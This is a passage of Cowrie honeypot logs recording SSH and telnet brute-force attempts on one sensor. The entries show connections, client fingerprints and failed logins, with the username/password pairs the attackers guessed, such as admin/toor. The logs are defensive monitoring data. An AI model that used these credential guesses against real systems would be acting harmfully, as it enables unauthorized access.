lgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:59:41.020363Z","src_ip":"165.227.170.113","session":"51f8f18ac48e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"zaq123","message":"login attempt [ubuntu/zaq123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:59:41.378921Z","src_ip":"165.227.170.113","session":"51f8f18ac48e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:59:42.464945Z","src_ip":"165.227.170.113","session":"51f8f18ac48e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.233.84.127","src_port":20154,"dst_ip":"10.17.0.5","dst_port":22,"session":"7fbd6f2a75cb","protocol":"ssh","message":"New connection: 223.233.84.127:20154 (10.17.0.5:22) [session: 7fbd6f2a75cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:59:57.605975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:59:57.610816Z","src_ip":"223.233.84.127","session":"7fbd6f2a75cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:59:57.932568Z","src_ip":"223.233.84.127","session":"7fbd6f2a75cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ali","password":"121212","message":"login attempt [ali/121212] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:59:58.978660Z","src_ip":"223.233.84.127","session":"7fbd6f2a75cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:00:00.238718Z","src_ip":"223.233.84.127","session":"7fbd6f2a75cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00574231147766,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:00:15.912483Z","src_ip":"38.25.25.113","session":"7f866fbc96fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.25.25.113","src_port":50796,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5ab485220c3","protocol":"telnet","message":"New connection: 38.25.25.113:50796 (10.17.0.5:23) [session: e5ab485220c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:00:17.222741Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.170.113","src_port":43130,"dst_ip":"10.17.0.5","dst_port":22,"session":"882a21da00f6","protocol":"ssh","message":"New connection: 165.227.170.113:43130 (10.17.0.5:22) [session: 882a21da00f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:00:25.240209Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:00:25.246210Z","src_ip":"165.227.170.113","session":"882a21da00f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:00:25.330473Z","src_ip":"165.227.170.113","session":"882a21da00f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"p@ssw0rd","message":"login attempt [test/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:00:25.694965Z","src_ip":"165.227.170.113","session":"882a21da00f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:00:26.782152Z","src_ip":"165.227.170.113","session":"882a21da00f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.233.84.127","src_port":7960,"dst_ip":"10.17.0.5","dst_port":22,"session":"df0ea5e74e5e","protocol":"ssh","message":"New connection: 223.233.84.127:7960 (10.17.0.5:22) [session: df0ea5e74e5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:00:53.044833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:00:53.049468Z","src_ip":"223.233.84.127","session":"df0ea5e74e5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:00:53.430603Z","src_ip":"223.233.84.127","session":"df0ea5e74e5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"q1w2e3r4t5","message":"login attempt [user/q1w2e3r4t5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:00:54.521362Z","src_ip":"223.233.84.127","session":"df0ea5e74e5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:00:55.769964Z","src_ip":"223.233.84.127","session":"df0ea5e74e5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.170.113","src_port":38066,"dst_ip":"10.17.0.5","dst_port":22,"session":"646922ca2e65","protocol":"ssh","message":"New connection: 165.227.170.113:38066 (10.17.0.5:22) [session: 646922ca2e65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:01:08.855933Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:01:08.861331Z","src_ip":"165.227.170.113","session":"646922ca2e65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:01:08.945922Z","src_ip":"165.227.170.113","session":"646922ca2e65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123654","message":"login attempt [postgres/123654] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:01:09.315860Z","src_ip":"165.227.170.113","session":"646922ca2e65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:01:10.405016Z","src_ip":"165.227.170.113","session":"646922ca2e65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.233.84.127","src_port":14113,"dst_ip":"10.17.0.5","dst_port":22,"session":"74409f89fb9d","protocol":"ssh","message":"New connection: 223.233.84.127:14113 (10.17.0.5:22) [session: 74409f89fb9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:01:50.409981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:01:50.414436Z","src_ip":"223.233.84.127","session":"74409f89fb9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:01:50.735266Z","src_ip":"223.233.84.127","session":"74409f89fb9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.170.113","src_port":53378,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ab62c6fc7e1","protocol":"ssh","message":"New connection: 165.227.170.113:53378 (10.17.0.5:22) [session: 9ab62c6fc7e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:01:50.956626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:01:50.962586Z","src_ip":"165.227.170.113","session":"9ab62c6fc7e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:01:51.048231Z","src_ip":"165.227.170.113","session":"9ab62c6fc7e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vbox","password":"vb0x","message":"login attempt [vbox/vb0x] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:01:51.414214Z","src_ip":"165.227.170.113","session":"9ab62c6fc7e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"toor","message":"login attempt [admin/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:01:51.782393Z","src_ip":"223.233.84.127","session":"74409f89fb9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:01:52.501044Z","src_ip":"165.227.170.113","session":"9ab62c6fc7e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:01:53.032831Z","src_ip":"223.233.84.127","session":"74409f89fb9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01065325737,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:02:17.233280Z","src_ip":"38.25.25.113","session":"e5ab485220c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.25.25.113","src_port":26315,"dst_ip":"10.17.0.5","dst_port":23,"session":"e622c7be9905","protocol":"telnet","message":"New connection: 38.25.25.113:26315 (10.17.0.5:23) [session: e622c7be9905]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:02:21.863776Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.107.16.247","src_port":42018,"dst_ip":"10.17.0.5","dst_port":23,"session":"74f5a6a998fe","protocol":"telnet","message":"New connection: 37.107.16.247:42018 (10.17.0.5:23) [session: 74f5a6a998fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:02:25.002261Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.25.25.113","src_port":28936,"dst_ip":"10.17.0.5","dst_port":23,"session":"5470f605b585","protocol":"telnet","message":"New connection: 38.25.25.113:28936 (10.17.0.5:23) [session: 5470f605b585]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:02:29.172321Z"}
{"eventid":"cowrie.session.closed","duration":12.867273807525635,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:02:37.869363Z","src_ip":"37.107.16.247","session":"74f5a6a998fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"223.233.84.127","src_port":30277,"dst_ip":"10.17.0.5","dst_port":22,"session":"483dbf76d0eb","protocol":"ssh","message":"New connection: 223.233.84.127:30277 (10.17.0.5:22) [session: 483dbf76d0eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:02:47.810272Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:02:47.815006Z","src_ip":"223.233.84.127","session":"483dbf76d0eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:02:48.119948Z","src_ip":"223.233.84.127","session":"483dbf76d0eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123qweQWE","message":"login attempt [ubuntu/123qweQWE] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:02:49.230774Z","src_ip":"223.233.84.127","session":"483dbf76d0eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:02:50.491716Z","src_ip":"223.233.84.127","session":"483dbf76d0eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.117.199.5","src_port":62362,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f3f473036b7","protocol":"ssh","message":"New connection: 154.117.199.5:62362 (10.17.0.5:22) [session: 4f3f473036b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:03:34.845821Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh-0.2","message":"Remote SSH version: SSH-2.0-libssh-0.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:03:35.077280Z","src_ip":"154.117.199.5","session":"4f3f473036b7","protocol":"ssh"}
